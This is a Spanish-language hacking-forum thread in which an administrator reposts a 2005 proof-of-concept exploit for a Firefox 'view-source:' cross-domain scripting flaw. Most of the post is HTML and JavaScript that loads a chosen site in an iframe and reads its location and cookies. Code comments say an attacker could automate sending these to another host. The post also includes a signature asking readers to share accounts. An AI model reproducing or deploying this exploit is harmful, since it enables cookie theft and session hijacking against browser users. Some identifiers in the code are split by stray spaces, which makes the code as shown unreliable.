hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
15 de Octubre de 2008, 08:54:32
Noticias: Participa en el batch lab de CPH
Para ver este enlace Registrate o Inicia Sesion
aqui

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  Mozilla Firefox "view-source:" Protocol Cross Domain
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Mozilla Firefox "view-source:" Protocol Cross Domain  (Leído 441 veces)
Vassily
Administrador
*****
Desconectado Desconectado

Mensajes: 4,127



Ver Perfil WWW
« : 17 de Junio de 2005, 10:26:56 »

Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit
Date : 21/05/2005
 

Advisory : FrSIRT/ADV-2005-0530
Rated as : Critical

<html>
<head>
<title>Fireviewing - Proof-of-Concept by mikx</title>
<script language="JavaScript" type="text/javascript">

<-- The view-source: pseudo protocol can be used to do cross-domain scripting -->
<-- without user interaction. This can be used to steal cookies from other -->
<-- hosts or manipulate the DOM cross-domain. -->
<-- This PoC will show the given URL in the IFRAME and will raise an alert box -->
<-- containing the document.locat ion and document.cooki e property of that URL -->
<-- when the page is completly loaded. An attacker could easily automate that -->
<-- action and send the data silently to another host.

var done = true;
function stealCookie() {
if(!done) {
done = true;
stealframe.loc ation = "view-source:javascript:eval(\"alert('
Location: '+document.location+' \"+String.fromCharCode(92)+\
"n Cookie: '+document.cookie)\")"
}
}
function setLocation(){
done = false;
stealframe.loc ation = document.getEl ementById("stealurl").value;
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Fireviewing</div>

<div style="width:600px">



<input id="stealurl" type="text" value="
Para ver este enlace Registrate o Inicia Sesion" style="width:450px;
font-family:Arial, Helvetica; font-size:12px;">
<input type="button" value="steal from site" onclick="setLocation()"
style="width:145px; font-family:Arial, Helvetica; font-size:12px;">


<iframe name="stealframe" src="about:blank" onload="stealCookie()"
style="width:600px; height:200px;"></iframe>
</div>
</body>
</html>
En línea


Para ver este enlace Registrate o Inicia Sesion

Pícale no seas culero

VY 4Ever
Si tienes una cuenta de Rs que quieres compartir, pues hazlo, no seas culero
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online